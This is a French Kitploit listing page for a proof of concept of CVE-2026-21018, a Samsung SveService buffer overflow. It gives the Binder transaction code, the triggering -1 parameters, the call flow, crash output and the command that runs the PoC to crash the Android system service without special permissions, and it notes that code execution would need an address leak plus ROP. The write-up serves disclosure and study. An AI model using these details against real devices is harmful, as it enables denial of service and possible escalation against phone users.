Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-21018 — PoC minimal d'un dépassement de tampon du service SveService de Samsung, démontrant une écriture hors limites via Binder pour faire planter le service système Android sans permissions spéciales. | Kitploit
Outils/GitHubGitHub/pealeap/cve-2026-21018
Sécurité AndroidAnalyse des VulnérabilitésExploitationRétro-ingénierieSécurité MobileExploitation de Binaires
GitHubpealeap/cve-2026-21018

CVE-2026-21018

PoC minimal d'un dépassement de tampon du service SveService de Samsung, démontrant une écriture hors limites via Binder pour faire planter le service système Android sans permissions spéciales.

Voir le dépôt
1il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SveService Dépassement de tampon

[Português] [English]


Samsung SMR mai 2026

SVE-2026-0478(CVE-2026-21018)

Versions concernées : Android 14, 15, 16

Statut de divulgation : divulgation privée

Une écriture hors limites dans SveService antérieure à SMR May-2026 Release 1 permet à des attaquants locaux privilégiés d'exécuter du code arbitraire.

Le correctif ajoute une validation appropriée des entrées.


Avertissement : ceci est une preuve de concept (PoC) à des fins éducatives uniquement, je ne suis pas responsable de tout ce que vous feriez en dehors de l'étude. Vous êtes prévenus.

Ceci a été testé sur un Galaxy A17 LTE (SM-A175F)


English

Résumé

Vulnérabilité de dépassement de tampon dans le service système SveService (com.sec.sve) sur les appareils Samsung fonctionnant sous Android 16. Le service s'exécute en tant que system (UID 1000) et est accessible sans aucune permission spéciale via Binder.

Composants

ComposantRôleVersion
sveservice.apkService AndroidAPI 36
libsvejni.soBibliothèque native ARM64Build ID : 0a71afa45f8688b4314ed8e5a0aea8b9

La vulnérabilité

Dans sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), les paramètres i18, i19, i20 (reçus depuis AIDL sous les noms i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) sont transmis directement à memset, sub sp, sp, xN (alloca) et memcpy sans aucune validation de taille.

Des fonctions similaires (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) effectuent une validation avec cmp w20, #0x1e; b.gt (rejet des valeurs > 30 octets). SetCodecInfo ne valide rien du tout.

Flux d'appel

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Valeurs avec -1 (0xFFFFFFFF)

Preuve du crash (Tombstone 07)

root@kitploit:~
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer

PoC

root@kitploit:~
cd poc
./build_and_run.sh

Sortie attendue :

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Remarques

  • Aucun root requis : ServiceManager.getService() via app_process fonctionne avec l'UID shell.
  • Contournement de permission : la permission signatureOrSystem n'est PAS appliquée — le service est enregistré directement via ServiceManager.addService(), contournant le mécanisme de permission d'Android.
  • Crash inévitable : memset avec 0xFFFFFFFF plante toujours. Une RCE nécessiterait une fuite d'adresse + un ROP (PAC absent sur le SM-A175F).

Português

Résumé

Vulnérabilité de dépassement de tampon dans le service système SveService (com.sec.sve) sur les appareils Samsung sous Android 16. Le service s'exécute en tant que system (UID 1000) et est accessible sans aucune permission spéciale via Binder.

Composants

ComposantRôleVersion
sveservice.apkService AndroidAPI 36
libsvejni.soBibliothèque native ARM64Build ID : 0a71afa45f8688b4314ed8e5a0aea8b9

La vulnérabilité

Dans la fonction sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), les paramètres i18, i19, i20 (reçus depuis AIDL sous les noms i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) sont utilisés directement comme arguments de memset, sub sp, sp, xN (alloca) et memcpy sans aucune validation de taille.

D'autres fonctions similaires (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) valident avec cmp w20, #0x1e; b.gt (rejet des valeurs > 30 octets). SetCodecInfo ne valide rien.

Flux d'appel

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Valeurs avec -1 (0xFFFFFFFF)

PoC

root@kitploit:~
cd poc
./build_and_run.sh

Sortie attendue :

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Remarques

  • Sans root : ServiceManager.getService() via app_process fonctionne avec l'UID shell.
  • Permission : la permission signatureOrSystem n'est PAS appliquée — le service est enregistré directement via ServiceManager.addService(), contournant le contrôle de permission.
  • Crash inévitable : memset avec 0xFFFFFFFF plante toujours. Une RCE nécessiterait une fuite d'adresse + un ROP (PAC absent sur le SM-A175F).
Télécharger l’outil
OpérationValeurEffet
(i18 + 15) & ~150Alloue 0 octet
memset(buf, 0, i18)0x00000000FFFFFFFFTente de mettre à zéro 4 Go → SIGSEGV
sxtw(i18) pour memcpy0xFFFFFFFFFFFFFFFFExtension de signe de -1 → ~18 exaoctets
OpérationValeurEffet
(i18 + 15) & ~150Alloue 0 octet
memset(buf, 0, i18)0x00000000FFFFFFFFTente de mettre à zéro 4 Go → SIGSEGV
sxtw(i18) pour memcpy0xFFFFFFFFFFFFFFFFExtension de signe de -1 → ~18 exaoctets